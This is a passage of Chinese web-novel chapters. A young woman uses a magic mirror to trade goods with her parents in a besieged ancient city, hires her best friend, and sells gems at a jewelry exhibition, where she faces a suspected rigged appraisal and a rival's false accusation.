逛街购物这类自然是女的更在行。 “你这个周末有时间吧?” “干嘛?”沈若君心情不好,她也发工资了。只不过她上班的设计公司完全跟袁淼以前入职的瀚海设计不能比,加上行业不景气,她这个月才拿到了五千多元。 “帮我买几件衣服吧,鞋子也帮我看看。” 他现在已经月薪过五万的人了,形象上也得注意起来,这年头看表象下菜的人太多了,不能因此耽误公司的事。 沈若臻出来后,拿出手机:“我先把钱转给你……三万够不够?” 沈若君诧异看向自家哥哥,他以前可没这么大方,多数时候都是让自己掏钱给他买东西。 “你要买什么?” 沈若臻神情松快:“衣服鞋子……放心,这次我不让你白忙,给你……两千的辛苦费。” 沈若君更吃惊了:“你发财了?” 沈若臻笑了笑,沈若君一把抢过哥哥的手机,看到了银行卡到账的短消息,又往上划,眼睛都瞪圆了:“这是薪资吗?你一个月有六万多?” 沈若臻赶紧把自己的手机抢过来:“你怎么什么都看?隐私懂不懂?” 沈若君已经被哥哥的两笔进账惊到了:“淼淼给你们开这么高的薪资?你们公司到底是干什么的?” 沈若臻笑了笑:“我们是正规注册的贸易公司,你说是干什么的?” 公司的相关手续还是政府部门的人亲自送过来的。 沈若君看着哥哥:“你们公司还要人吗?我什么都可以干!” 公司当然要人,袁淼已经跟他说过了,这次至少要招二三十号人,除了贸易公司,她还准备开家珠宝首饰实体店,网上那个博云珠宝现在只有岳然一个人在张罗,小姑娘忙得跟陀螺似。 不过,她要的都是专业人士。 “你能干什么?”沈若臻打量自家妹妹一通。 沈若君已经被哥哥的收入的惊到了,一个月六万多!她可以把小命卖给公司:“我什么都可以干!” 干不了,就去学,学不会,往死里学!六万多一个月!她去年一整年的收入也差不多就是这个数。 沈若臻觉得不好,兄妹俩在一个公司,让袁淼怎么想?她那儿许多事只可意会不可言传。 “哥!”沈若君已经心动了,拉着沈若臻撒娇。 沈若臻随口说:“……你不行,专业不对口!” “我可以学!你专业对口吗?” 沈若臻噎到,他土木工程专业毕业,更不对口了。 “这事我帮不了你,人事招聘这块现在是其他人负责……你可不能去找淼淼!交情是交情,公事是公事!” 沈若君盯着哥哥。 他这话的意思是……袁淼的公司的还要招人?!不凭关系,咱也可以自己来应聘。 * 袁淼已经把招聘的公告发了出去,她这次要的人多,除了博云贸易这边,她还准备开家珠宝古玩的实体店。 博云珠宝网店现在局面已经打开,上个月的销售额上了六位数,销售的商品都是父母那边当铺收购的成品,她这边再请专业人士修复清洁,成本不到利润的两成。而员工仅有岳然和她这个打酱油的。 属实暴利! 岳然原本在叫苦,薪资发放之后,立马笑逐颜开了。 不过,网店只有一个半人维持,确实很辛苦。马上珠宝展又要来了,为期一周的珠宝展览活动,她还预备着大展拳脚呢。 摊位的安排已经出来了,不偏不倚的位置,明天就可以把预备参加活动的臻品送到相关部门鉴定了。 袁淼把事情理顺后,天已经黑了。 敲开镜子后,谢云溪就出现在里面。 袁淼已经习惯镜子里只有母亲一个人,她把薪资发放的事情告诉了谢云溪。 即便是心里有数,听到具体数据,谢云溪仍然感慨两边这样互通有无属实利润惊人,一支玉簪她这边当铺收到手不到一两银子,拿到女儿那边的网店销售,竟然能卖到两三万了。 几乎十倍的利润! 不过,他们现在确实缺钱,晋州现在物资匮乏,还在开张的门店寥寥无几,现在他们除了米粮店以外,还开了当铺布庄。几乎吃的用的都有涉及,这些铺面的货源都要女儿从现代传过来。 “北凉人有动静吗?”袁淼问。 谢云溪摇头,自上次偷袭之后,围城的北凉大军往后退了数里,但仍时不时靠近骚扰。不过晋州守军有望远镜在手,那边一动,这边什么都知道了。 打有准备的仗,自然从容不迫。袁博文已经把这些来回当成了磨砺士兵的机会。 “晋州城里情况还好吧?水够用吗?” 袁淼担心只一台过滤器无法支撑晋州全城的用水。 说到这个,谢云溪就笑了:“够用,你上次传过来的过滤壶,我们现在摆在米粮店在卖了。” 有了大型过滤器,每天发放的水已经能基本满足晋州全城的用水了。一千过滤壶,给府衙和军中送了些,剩下的她还以为会浪费,考虑再三了,决定放到米粮店售卖,有人问就介绍,想要就卖。 没想到销售还不错。只这两天,就卖了大半。连袁归都在说,好多人过来询问,根本就不愁卖。 购买的都是城内有钱有势的大户。 过滤的水更好,最直观的表现就是烧开之后没有水垢。 袁淼愣住了,没想到这也能卖。不过转念一想,父母那边的人们以往用水,都是直接从河里或井里取用,且不说安全与否,只干净这块就肯定没有现代的自来水好,更别说她先前购买的纯净水和过滤的水了。 “那……你们怎么卖的?多少钱一个?” 谢云溪笑着回答:“一两银子一个。” 定价是她跟袁博文一起商量的,现在晋州城里每日发放的水能满足个人基本需求,一般人家完全没问题,但有钱人就不一样了,他们更追求生活的质量,所以过滤壶的定价就是为了他们量身定的。 袁淼呆了,因为要的量大,这些过滤壶她买到手也就六七十元一个,还包括了过滤芯在内。现在父母转手就卖一两银子一个! 那边的一两的银子差不多就是这边的二千元左右! 这价差! “呃……那还要吗?”袁淼问。 谢云溪点头:“要!” 有钱人的钱为什么不赚?他们不缺钱,可有人缺。再说了,还可以给老百姓们灌输安全卫生用水的观念。 这里的人们从前根本就这个观念,直接喝生水的比比皆是,讲究一些的会烧开了饮用,井水溪水倒还好,河里的水人畜共用,不知道有多少人因此生病。 现在有纯净水和过滤水做对比了,口感不一样,肉眼可见烧开之后,纯净水和过滤水连水垢都没有。 很多人已经发现了这点,城里已经在传发放的水更好,大户人家排队领水相当积极。 “要多少?” 谢云溪想了想:“你再买五百。” 一两银子一个的过滤壶,稍微有钱的都买的起。 袁淼记下了:“还要其他吗?” “水果和蔬菜……” 谢云溪列举了几种常用的水果和蔬菜。这里的蔬菜水果品种并不多,北地这边更是贫瘠。以前的寒冬腊月,蔬菜水果在这边都算是奢侈品,一般人家吃不起。 所以,他们也没将售卖价压得过低,基本跟以前的差不多。 可即便是这样,对于他们来说,那也能赚不少钱。 现在谢记粮行每天的销售至少上百两银子,门店已经扩张到四家了。 第64章 第 64 章 好友 袁淼记下来后, 突然想到了一件事情:“妈,你们那边天气怎么样?” 谢云溪往外面看了一眼:“今天上午开始下雪了,怎么了?” 入了寒冬, 老百姓的日子也会越发艰难。 “你知道盆栽蔬菜吗?”袁淼兴奋说, “小白菜、香菜、菠菜、生菜都可以盆栽, 这几样蔬菜耐寒, 生长的速度也不慢……” 晋州全城的百姓,有钱的毕竟是小部分, 即便是他们将售卖的蔬菜价格压得再低,也有很多人买不起。只看米粮店的销售就知道,购买米糠的人比购买粟米黍米的人多得去了了。 连粟米黍米都买不起的人家,怎么可能购买价格不菲的蔬菜? 长期不吃绿色蔬菜, 营养肯定跟不上,这样的身体素质想要在战争中活下来太难了。 谢云溪的眼睛也亮起来了。 她怎么没想到这些? 北地的蔬菜匮乏, 现代的不啊,不仅品种繁多,种植的方法也多种多样,除了常规的种植方法外, 还有盆栽、水栽、大棚种植等多种方法。 现如今晋州城外去不了,城内也有土地,只不过面积较小而已。这里的人们依旧延续着传统种植方式,逢寒冬腊月,土地几乎荒废了, 仅有少量的萝卜白菜等种植。 不知道是品种缘故, 还是种植培育的方法不同,这几样蔬菜产量并不高。 他们完全可以把现代的蔬菜水果引进到这边来。 种子不用担心,现代到处都有卖, 种植培育的方法也不用担心,这些知识的获取在现代太便捷了。 “好!你找人问问,哪些蔬菜耐寒耐冻?生长周期较短,我们在这边试一试。” “嗯!”袁淼决定明天就去集市看看。 等到袁博文回来,谢云溪便把母女俩讨论的话题告诉了他。 袁博文也觉得很好。在这边推广蔬菜等种植,不仅可以丰富老百姓的菜篮子,还可以给他们找点事儿做,也许还能因此让他们多一条生财之道。 第二天,袁淼就把事情派了下去,购买生活物资主要由沈若臻牵头,她则来到了大市场了解农产品行情。 经过打听询问,这天她购买生菜、小白菜等几样耐寒耐冻,生长周期较短的蔬菜种子,当天就把种子和相关种植培育方法打印出来后传给了谢云溪。 谢云溪看过资料后,便让人动手了。 他们现在居住的宅院不缺地,后面还有几处院子因为没人住,暂时挂锁封着。 院子大,地多,种植就无需盆栽了。 谢云溪让人整理了三块地出来,一块用塑料薄膜搭了个简易大棚,一块则用这里常用窗纸也搭了个棚子,另一块则什么都没有做,就常规种植。 塑料大棚搭建起来了。念荟等人面面相觑,指指点点,不知道这是什么。 “真好看,这是什么?” “里面可舒服了!一点风都没有!也不冷!” 大家议论纷纷,稀奇极了。 谢云溪笑着说:“这是塑料薄膜,我们以前在海外购置的。” 别说海外了,在场的人连往南边去的都很少。在他们观念里海外的稀奇古怪多得去了,现在府里用的过滤壶也是海外货。 谢云溪笑着听大家议论,也不反驳。 塑料搭建的大棚里不仅没风,还暖和。如果有太阳,那体感会更好,这些他们日后都会体验到。 其实窗纸搭建的棚子也不透风,只是透明度没有塑料大棚好。她估计这里面的菜长势多半不如塑料大棚,至于能不能比过旁边常规种植的蔬菜,那就只有时间来证明。 这里目前连工业化都没开始,她想要推广塑料大棚种植根本不可能,只能从这里现有的物质开始做实验。 蔬菜种子播种下去了,即便周期再短,也不是一两天就能看到成效。 做了这些,谢云溪有些乏了,看着忙碌的念荟贺天凤等人,又萌生了添置人口的想法。 她不是一个享受的人,来这里这么多年,先前身边也只有念荟袁归福伯三人。到晋州之后,才添了立秋白露谷雨等。 但现在却觉得忙不转了。果然身份处境不一样,其他的也要跟上了。 以前,她觉得两三个人竟需要二三十人围着转,简直奢侈浪费。现在轮到自己成这样了。 这府上只有她跟袁博文两个主子,围着他们打转现在就有八九个人,再添人,可不就有二三十个了。 但不添置确实不够,马上她就要显怀了,身边没一个有生产和育儿经验的人,府里厨房的刘妈还是个短工,人家要是辞工,府上这么多人说不定连吃饭都成问题。 大家的厨艺都不太好,包括她。 三五个人的饭菜她还能做出来,十几个人就费劲了。 宅院这么大,住进来是舒坦,但打扫却是件很麻烦的事情。 这些都要人手。 谢云溪把想法告诉了袁博文。 “是该添人了。”袁博文说。 他身边现在跟着的是商泽,袁归带着小满管着粮铺的事,只要他出了门,府里小的小,老的老,连个青壮都没有,别说来贼了,剩下的人连个干体力活的都没有。 “中人那儿有没有年纪稍微大一点?二十来岁?” “这我得问问,应该有吧。”谢云溪也想找几个年纪略大的。 年纪大,能干事,但于忠诚来说可能就不如从小带出来的。 “那咱们这次添几个?” “厨房上要两个,年纪大的和年纪小的各一个,打扫整理院子也要两三个,还有门房那边,福伯毕竟年纪大了,谷雨很机灵,放在门房可惜了……” 算来算去,竟是需要不下十人。 袁博文想了想:“我营中上次没了不少人,他们的家里大多不宽裕,我想让商泽去问问,有没有想过来做事的,如果有,咱们也安排一下。” 上次守城大战,虽然胜了,但伤亡惨重,袁博文的新兵营也战死了不少士兵,虽然事后有抚恤,但那点钱根本就顶不了多少事儿。 “行……除了府里,几个铺子也要人,如果他们想来,咱们就安排。肯学肯干的,就可以安排在铺子里。年纪大的,或者有其他方面不足的,可以安排做一些打扫整理之类的简单活计。” 他们都不是克扣的人,现有的几个铺子掌柜和伙计的薪资都给的不低。 袁博文笑了,把谢云溪揽到身边。 自己想干的事,她总是会支持。得妻如此,夫复何求? 谢云溪把要添置的人罗列了出来,几个铺子上的,加府里的,至少需要三十来人。 她突然想到了女儿。 做父母的,身边伺候的人都有二三十个了,女儿身边却只有一个做饭打扫卫生的住家保姆。 谢云溪叹了口气:“淼淼的那个住家保姆也不知道人怎么样?” 她的话提醒了袁博文,袁博文也觉得女儿身边太寒酸了。她那贸易公司往这边送了不少物质,几乎撑起了晋州生活物资的小半边天,但员工却只有十个,可想而知有多忙。 “淼淼身边也要添人。” 谢云溪点头,可惜这件事情他们做不了什么,活物又不能传递。 “我来跟她说。” * 到了晚上见面,谢云溪就跟袁淼说了添人的事儿。 袁淼笑了:“我已经把招聘的公告挂出去。” 今天就有人联系,胡芸碟跟对方约好了统一的面试的时间和地点。 “我说的不是你那公司的人,而是你身边应该添照顾的人了。” 袁淼愣了会:“呃……我有个住家保姆,我说过的吧?” “一个住家保姆哪儿够?” 袁淼彻底呆住。 她几个月前还在租房住,现在不仅有房有车了,还请了个专门的住家保姆,这已经很好了。她以前都不敢想。 谢云溪一脸无语看着女儿:“你有多久没逛街了?旅游呢?和朋友聚会呢?” 袁淼笑了,打着哈哈说:“最近比较忙……” 母亲不提醒,她自己都忘记了。她已经很久没有逛街买东西聚餐吃饭了。父母那边形势严峻,她不是在买东西,就是在卖东西,确实没有时间干其他事情。 谢云溪叹了口气,她能想到女儿这段时间是怎么过来的,是他们做父母的不称职,光知道让女儿帮忙,却没想到她也要有自己的生活。 “要合理安排!”谢云溪语重心长说,“咱们现在不缺钱,没必要让自己活得这么累。你这次招人一定要多招些,事情尽量分派下去,没必要事事亲为。事情杂多,你就请秘书,请助理,多请几个!除了工作,你也要有个人生活。” 袁淼点头,她也觉得自己近段时间忙得没有章法,现在她的银行卡里躺着的钱已经七八亿,别墅地下室至少还有价值上十亿的好东西,却连消费的时间都没有。 秘书、助理,是可以安排了。 袁淼跟谢云溪联系后,就在已经发布的招聘公告上又加了几条。 很快就到了集中面试的时间。袁淼把沈若臻和胡芸碟抽了出来,跟自己一起面试。 人进人出,三个人讨论着前来应聘的这些人。这些人已经进过了胡芸碟的初步筛选。 突然沈若臻呛了一口水。袁淼连忙给他递了一张纸巾。 沈若臻的脸涨得黑红,眼神很奇怪。 袁淼顺着他的目光看向对面,也愣住了。 进来的沈若君衣着得体,很有礼貌跟招聘的三个人问好。 胡芸碟说:“沈小姐自我介绍一下吧。” 沈若臻轻咳了一声。袁淼也有点懵,面试面到了自己最好的朋友。 沈若君侃侃而谈,她已经做过功课了。 胡芸碟看了看手中的资料,继续问:“沈小姐是江都大学设计专业毕业,怎么会想到来我们公司应聘呢?你觉得自己匹配什么岗位?” 沈若君觉得自己什么都可以干,那么高的薪资,专业不对口压根就不是问题,不懂就去学。 不过,她还是列举了与自己专业稍微搭边的珠宝修复,珠宝设计等岗位。 沈若臻咳得更厉害了,他敢以性命保证自己绝对没有透露博云珠宝那边的任何消息。 “沈小姐有这方面经验吗?”胡芸碟虽然觉得旁边的沈若臻的表现很奇怪,她仍然尽职尽责问道。 “没有……”沈若君老实回答,“不过,我有珠宝首饰店工作的经历……” 说完,她瞟了自己的同学兼好朋友一眼。 袁淼也不知道怎么回应。这件事情是真的,她们以前在学校的时候,到处找兼职,沈若君确实在珠宝首饰店干过一段时间的短工。 一路问下来,胡芸碟对沈若君的表现比较满意,但是觉得她与珠宝设计和珠宝修复这两个岗位并不匹配,于是看向自己的老板和同事。 袁淼说:“……呃,你先回去吧。” 后面前来应聘的还有好些人,只能先把沈若君这边暂时放下。 沈若君的脸上忍不住流露出失望神色,下楼的时候整个人都蔫了。她有丁点埋怨好友,不过也知道自己确实与珠宝设计和珠宝修复岗位不符合。 其他销售,助理秘书等岗位,需要有相关经验的人,而她并没有。 离开招聘现场,沈若君垂头丧气来到公园枯坐了一会,电话响了。 “你现在在哪儿?” 袁淼在电话那头问道。 “……中央公园……” “行,我马上过来。” 沈若君紧张起来。 她不会被当面拒绝吧?那太丢人了。被金钱腐蚀果然没有好下场! 袁淼很快就来了,沈若臻在车上解释了自己绝对没有以公谋私,他也不知道沈若君会来应聘。 袁淼并没有说什么,到了中央公园,见到沈若君后,便把人叫到一边询问:“你真对珠宝设计和珠宝修复感兴趣吗?” 她已经想过了,如果沈若君回答是,她就把人招进来,让专业人士来教。会这两项技能的人才在职场确实很吃香。 等待的时间里,沈若君已经想清楚,好朋友和金钱,她选择前者。 笑了笑,沈若君若无其事说:“嗨,我是一时心血来潮……你还不知道吗?我在珠宝首饰店其实也就干了一个多月……” 袁淼笑了,这件事情她当然知道:“那你想学吗?” 沈若君摇头。 袁淼想了想说:“我现在还缺一个助理……” 沈若君诧异看向袁淼。 袁淼说:“你想来试一试 吗?” 沈若君高兴坏了:“我可以吗……我没有相关经验!” 袁淼心里说,我也没有当老板的经验:“没有经验也可以,只要肯学就行。怎么样?” 沈若君连忙点头。 “……薪资一万到一万五,加班费另算,试用期三个月!你还有什么问题?” 沈若君连忙摇头,她一点问题都没有。 第65章 第 65 章 展览会 新员工很快就入职了。 珠宝展览会如期举行, 前来参加活动的人络绎不绝。 博云珠宝推出来参展的展品都是袁淼精挑细选的,鲜艳欲滴的红宝石,绿色喜人的翡翠, 精致的古风首饰, 在灯光的映照下分外漂亮。 展位前很快就围了不少人。 “这红宝石是北缅的, 还是莫桑比克的?” 袁淼已经知道现如今红宝石产地最好的两个郭嘉就是北缅和莫桑比克, 但其他产地也有很好的红宝石,产地对于价值只是个参考。 她手上的宝石品相都不错, 而众所周知莫桑比克以优质红宝石闻名。 “莫桑比克。”袁淼笑着回答,并示意对方看旁边的鉴定文书,相关数据鉴定文书都有标注。 问话的是位大腹便便的中年男子,他看过鉴定文书后点了点头。 他旁边的女伴雍容华贵:“这是鸽血红吧?” “是的。” “这有多少克拉?” “九点七八克拉。” 女人轻呼一声, 九点七八克拉的鸽血红宝石! “去年雅典拍卖行是不是拍出一颗三千万美元的鸽血红宝石?” 中年男子点头:“那颗红宝石是迄今为止出现的最大鸽血红宝石,重达高二十五点六克拉。” 袁淼也了解过这件事情, 她手上的红宝石最重的也才二十三点九克拉,比不上那颗被称为“雅典之光”的鸽血红宝石。 她手上的各类宝石有一百多颗,其中红宝石最多。这次她拿出来的红宝石重量都在五克拉到十克拉之间,更重些的她没有动, 那些在拍卖行或许能卖得更高的价。 不到五克拉的可以让自己的人练练手,父母那边当铺收到的金银首饰有些也有不足,可以用这些小宝石来修补或者替代。 “哎呦!万总!” 有人跟中年男子打招呼。 岳然低声说:“凤呈祥的万麒麟和他夫人连容。” 做为博云珠宝网店的管理人员,岳然现在已经知道珠宝行业的许多事情了。 沈若君暗吸了口气,袁淼现在有博云贸易和博云珠宝两家公司, 而做为她的助理, 自己居然不知道眼前的人是享誉珠宝行的万麒麟! 这是失职! 万麒麟笑呵呵道:“老刘?你什么时候回国的?” “前天就回来了。怎么样?有没有看入眼的?” 万麒麟拉过刘柏年:“你来看看这几颗红宝石。” 岳然连忙递上工具。 刘柏年哎呦一声:“这几颗品相不错呀,都到了鸽血红级别!是一个坑出来的吧?” 岳然等人没有说话,做为拥有者的袁淼也没有吭声, 因为她也不知道这个问题的答案。 万麒麟点头:“应该是。” “九点八克拉!这在拍卖行都很少见啊!”刘柏年边看边说。 “你再看看这几颗。”万麒麟又指着旁边的几个颗红宝石让刘柏年看。 刘柏年明白了,这是都想拿下。 别说他了,眼前的红宝石他也心动,确实品相不错,价格也标的不高。重达九点七八克拉的鸽血红宝石,标价也才两千八百万,平均每克拉两百八十万左右。 这样级别的红宝石如果在出现在拍卖行,价格绝对会超过三千万。 对于从事珠宝首饰行业的人来说,这颗红宝石经过了专家的手后,价格还会更高。说不定还能成传世之作。 同样级别红宝石这里居然有好几颗! 旁边的蓝宝石看起来也非常不错。 ……博云珠宝?以前怎么没听说过? 刘柏年心里打鼓。 连容盯着橱窗里的一个璎珞看了好久,拉了拉万麒麟,示意他也看看。 万麒麟转过头来目光就呆滞了,直愣愣看着。 “这璎珞拿出来我看看。” 岳然拿出璎珞放在盘子里递给万麒麟。 铺着洁白绸缎的盘子里,精致的璎珞更加夺目,尤其上面镶嵌的翡翠,指头大小,颜色浓郁,像是要滴出来一样。 万麒麟还没说话,旁边突然伸过来一只手:“这璎珞多少钱?我要了!” 来人略胖,戴着帽子,衣着不显,脖子上的项链却很粗。一支胖手盖在放着璎珞的盘子上,意味鲜明。 万麒麟的脸色瞬间拉了下来。 岳然笑着说:“不好意思,这位先生先来的。” “他们又不买,多少钱?” 万麒麟不悦说:“你怎么知道我不买?” “这不明摆着吗?”来人瞟了万麒麟一眼,毫不客气说。 “你这人怎么说话的?”万麒麟的夫人连容出声了。 袁淼连忙打太极:“两位稍安勿躁,一个个来,也可以看看我们这里其他的展品。” 刘柏年也笑呵呵道:“让我看看是什么好东西。” 袁淼趁机把装着璎珞的盘子推给了刘柏年。 刘柏年轻抽一口气,戴上眼镜,拿出工具看了一会:“这是帝王绿?!” 博云珠宝的展位旁边原本就有围着不少人,这下都看过来了。 “真的是帝王绿吗?”有人问。 袁淼也不确定,她见的翡翠并不多,更多的是理论上的知识。这个璎珞是父母在那边的当铺所收。原主是死当,当铺收到手用了三十两银子。只所以开这个价,是因为圈项是足金打制,造型精美,出自名家之手。 至于上面的翡翠,掌柜就没看在眼里。那边的翡翠现在不值钱,值钱的是金子。 东西传给她的时候,她也觉得好看,还跟谢云溪讨论过,两人都觉得上面的翡翠应该到了帝王绿的程度。但由于实在太小了,她们都觉得价格会不低,但也高不到那儿去。 现在看来,她是预料错了。 “应该是的,你没看到有人在抢吗?那位可不是普通人,凤呈祥的万总!” “原来这就是帝王绿!好漂亮!” “这个璎珞的造型也好看!” 旁边围观的人议论纷纷。 “别看了,这璎珞我要了,多少钱?”帽子男又说。 刘柏年的目光这才依依不舍从璎珞上的挪开,感慨:“好久没看到这么漂亮的玉石了。” 万麒麟压低了声音问:“真到了帝王绿?” 刘柏年点了点头,没说话。 袁淼将两人的互动看在眼里,心里暗暗可惜。送展品做鉴定的时候,她顺便请专家帮忙估了价,这个璎珞专家给出的估价是三百五十万到四百五十万。而她则取了中间值,标出的是三百九十九万。 专家说璎珞的造型虽然精美,但古风首饰的受众并不多,上面镶嵌的翡翠,虽然水足色正,但是小了点。 她当时觉得专家的评价算是中肯,古风首饰的受众确实不多,而镶嵌的玉石确实小了,只有约莫指头大小。 完全没想到极品翡翠竟然这么受欢迎。 事后,她也给专家封了红包算是答谢。 现在看来,专家也有看走眼的时候。 “五百万!我们要了!”袁淼还没有开口,万麒麟的夫人连容说话了。 “哎!我先问的!先来后到懂不懂……多少钱?三百九十九万?我马上转账!”帽子男迫不及待拿出手机。 袁淼心里在滴血,脸上依旧笑着:“不好意思,这位先生先来的。” 即便知道自己错过了至少上百万,袁淼也决定接受。都已经明码标价了,那就应该按照市场的规则来。 她转身问万麒麟:“您确定要吗?” 万麒麟连忙点头:“要要要!”随即对身后的人说:“五百万!” 袁淼笑着摇头,把标签放到跟前:“三百九十九万!” 在场的喧哗声一下大了起来。帽子男咬牙低声骂了句粗话。 万麒麟愣了愣,随即笑了:“好!”又指着先前看过的红宝石:“还有这两颗鸽血红,我也要了。” 袁淼把璎珞和红宝石装好后递给了万麒麟。 万麒麟让人拿了。抬头看了看展位上面的招牌:“你们……博云珠宝的当家人是谁?” 袁淼展颜一笑:“是我。”她连忙递上自己的名片。 万麒麟看了一眼名片,点头:“不错!年轻有为!” 连容挽着万麒麟,笑眯眯道:“小姑娘人也很美。” 袁淼努力维持着笑容。给人送了上百万,换了这么两句夸,她该说值还是该说不值? 东西买了,万麒麟夫妇走了,帽子男瞪了袁淼一眼也走了。刘柏年要了一颗红宝石和一颗蓝宝石后,也离开了,围观的人这才散了些。 袁淼的脸色垮了下来。 绝对亏大了! 吃一堑长一智! 她才打起精神,就看到了不远处站着的宋颜,连忙又扯出笑容招呼。 宋颜过来了,建模一样的脸上表情依旧清冷:“金镶玉项圈璎珞,造型精美,足金打制,镶嵌的玉石虽小,却水足色浓,是十分罕见的帝王绿,估价六百万至一千二百万。袁小姐的这个璎珞卖亏了。” 袁淼牙根在痒,心说,大哥,您怎么不早点出现?都已经卖了,还来说这样话的,这是提醒她有多蠢吗? 袁淼正要回应,宋颜又说:“不过,袁小姐随后又卖出了五颗宝石,一支步摇和两支玉簪,总销售额至少七千万。先前的做法宣传效果非常好。袁小姐这波看似亏本了,实则赚了,今天应该有很多人记住了袁小姐的博云珠宝。” 袁淼愣住了。看了看忙碌的岳然等人。 ……好像是这么回事? 她这是无形中给自己打了一波广告? 袁淼失笑。 数百万的广告费,效果好像还不错! 珠宝玉石行业原本就讲究品牌和口碑效应,大品牌,口碑好的无疑在市场有更多拥簇。 “谢谢宋总指点!” 宋颜的表情依旧淡然。 袁淼连忙又道:“宋总看看,有没有能入眼的?” 宋颜边看边说:“袁小姐的展品是请谁掌的眼?” 袁淼殷勤跟在宋颜旁边:“珠宝协会的黄岐山黄副会长,鉴定也是他帮的忙。” 宋颜淡淡说:“黄副会长的亲家是福满堂的严有为严总,严总的千金嫁给了辉华矿业的曾嘉善总经理。” 袁淼懵了,不知道宋颜为什么突然说这些?豪门联姻,门当户对,这不是常规吗?跟她八竿子都打不到一起。 唯一有丁点牵扯的大概就是辉华矿业。她的前男友徐清阳现在就在辉华矿业,即将迎娶辉华矿业老总曾辉华的女儿曾嘉宝。 但这些跟现在有关联吗? 宋颜的脚步在一座白玉马跟前停了下来。 袁淼连忙介绍:“这座白玉马长二十六点三厘米,高十五点马厘米,是整玉雕成。”而且,是羊脂白玉。 后面的话,袁淼没说,她认为宋颜肯定能看出来。展品旁边的标签上也标明羊脂白玉马,售价两千八百九十九万。这是从密室的那八个箱子里挑出来的。算是中规中矩,差不多料子的她还有白玉观音,十八罗汉等十几件臻品。 宋颜没有说话,默默看了一会后才动。 袁淼赶紧跟上。 等到宋颜在一支步摇前驻足时,袁淼这次没开口了,就静候在旁边,只等宋颜发话。 不过,宋颜还是只看了一会,也没说话。最后也没出手,就走了。 看着宋颜的背影消失在人群中,袁淼轻轻摇了摇头。 奇怪的人,说的话也莫名其妙。 突然她瞪大眼睛,明白先前宋颜那句的意思了! 黄岐山的女儿嫁给了福满堂严有为的儿子,严有为的女儿嫁给了曾嘉善! 豪门联姻当然跟她没关系!宋颜是在提醒她黄岐山很有可能在给她做鉴定和估价时做了手脚! 那个挂金链子的帽子男就很有问题!极有可能就是黄岐山的人! 突然冒出来,看都没仔细看,就要买璎珞!那可是好几百万的东西! 如果不是有人跟他透露点什么,正常情况下会有人这么做吗? 黄岐山一个珠宝协会的副会长,怎么可能看不出帝王绿的价值? 袁淼的脸色变了,赶紧把宋颜刚才看过的白玉马和步摇都收了起来。 这天他们忙得很晚。袁淼回到家后,来不及洗漱,就坐到了镜子跟前。 谢云溪正等着。袁淼也看到了好几天没见的父亲袁博文。 “怎么样?今天的珠宝展还顺利吧?怎么这么晚才回来?”谢云溪迫不及待问。 袁淼点头:“挺顺利的。”她拿过手机,“今天的销售额有……一亿两千四百六十八万!” 谢云溪和袁博文都很意外。 袁淼告诉了他们自己今天出手哪些东西,绝大多数都是在卖出璎珞之后那段时间交易的。 “这样的活动不错,以后可以多参加!”袁博文说。 他们有个当铺,金银首饰之类很容易就收到了。 谢云溪也点头。世道艰难,当铺的生意很好。等晋州这边的局势好转了,他们还可以在其他州县再开几家当铺。 袁淼又说:“出手璎珞的时候,有个小插曲……” 她把事情经过,以及后来宋颜说的话告诉了对面的父母。 袁博文和谢云溪的脸色不大好了。以权谋私,这样的事情并不少见。但受害的对象是自己的女儿,这就不能忍了。 可惜,他们隔着无尽时空,即便是再生气,所做的也极其有限。 “吃一堑长一智!那璎珞我们收到手也才三十两银子。” 即便是被坑,只卖出了三百多万,那也是翻了很多倍在赚。 “以后你请人鉴定和估价的时候,多找几个人,听听不同人的意见。” 袁淼点头,她也是这么想的。 袁博文想了想说:“你还可以培养或者请专门属于你自己的这方面人才。” 女儿的博云珠宝完全可以做大做强,货源他们可以保证,当铺多开几家就是了。 袁淼也觉得父亲的建议可行。有专门属于自己的珠宝玉石行业专家人士,自然比每次请人可靠多了。无非就是多花点钱。 谢云溪又问:“你平时跟宋颜联系多吗?” 袁淼秒懂,呵呵几声:“不多!” 谢云溪看出了女儿的抗拒,也没追问,只说:“他还不错。” 她觉得宋颜肯定对女儿有点意思,否则不会一次两次的帮忙。这些事情对他可没好处。 可惜,他们不在女儿身边,也见不到宋颜,不好把关确定。 袁淼赶紧把话题转移到其他方面,晋州城这几天还算平静。跟父母联系后,她又把第二天预备参加活动的臻品清点了出来。 第66章 第 66 章 挑刺 珠宝展览会第二天, 会场的人更多了。 还没到中午,博云珠宝的销售额就已经过了千万。 销售的大头依旧是古风首饰和宝石。 袁淼正忙着,突然听到一个熟悉的声音, 抬头就看见了曾嘉宝和徐清阳。瞟见曾嘉宝微微凸起的腹部, 袁淼愣了愣, 随即低下头。 曾嘉宝也看到了她, 挽着徐清阳径直过来了。 “瞧瞧这是谁?我们的袁大设计师怎么改行当售货员了?” 袁淼没吭声。 曾嘉宝自顾笑了,扫了一圈博云珠宝的展位:“博云珠宝?以前怎么听说过?你听说过吗?清阳?” 她问徐清阳。 徐清阳摇头。 曾嘉宝又说:“看起来就寒酸, 哪像是做珠宝首饰?这里面的东西大多数都是假的吧?” 周围人来人往,博云珠宝的展位前原本就有好几个人在浏览。 袁淼沉下脸:“你们要是不打算购物,请不要在这里胡言乱语。” 曾嘉宝生气了:“你什么态度?不买你们的东西连站在这里都不行?是谁容许你这么做的?你们老板呢?” 她的声音很大,经过的人许多都停下了脚步。 岳然正要出声。 袁淼道:“我就是。” 曾嘉宝和徐清阳都愣住了。曾嘉宝显然吃惊不小, 四下看了看后,尖锐说:“这是你的店?你怎么会有钱开店?” 袁沅觉得好笑:“我有没有钱, 与你有关吗?” 曾嘉宝气到了,语无伦次:“……你这里肯定都是赝品!” 袁沅转头对岳然说:“报警!告诉警察有人在这里闹事!” 曾嘉宝梗着脖子:“报警?你报呀!谁怕你不成?刚好让警察看看这里有多少赝品!” 袁淼看了岳然一看,岳然立马拿起手机,当众拨打报警电话。 曾嘉宝的脸色变了, 伸手就要抢夺岳然的手机。 袁淼拦住她,抓住了曾嘉宝的手。 “曾小姐急什么?你不是说我这里都是赝品吗?那就让警察来看看,是辉华矿业的曾大小姐在污蔑人,还是我这店名不副实?” 她说完,把曾嘉宝的手丢开了。 曾嘉宝踉跄了一下, 捂着肚子道:“你推我?清阳, 我肚子疼!” 徐清阳扶助了她。 曾嘉宝紧紧依靠在徐清阳怀里,眸中的得意一览无遗。 “袁淼,你是故意的!清阳, 她想害我们的孩子!刚才你也看到了,对不对?” 徐清阳沉沉看向袁淼。 有人轻笑一声:“曾小姐,刚才的一幕,我们都看到了,老板并没有推你。” 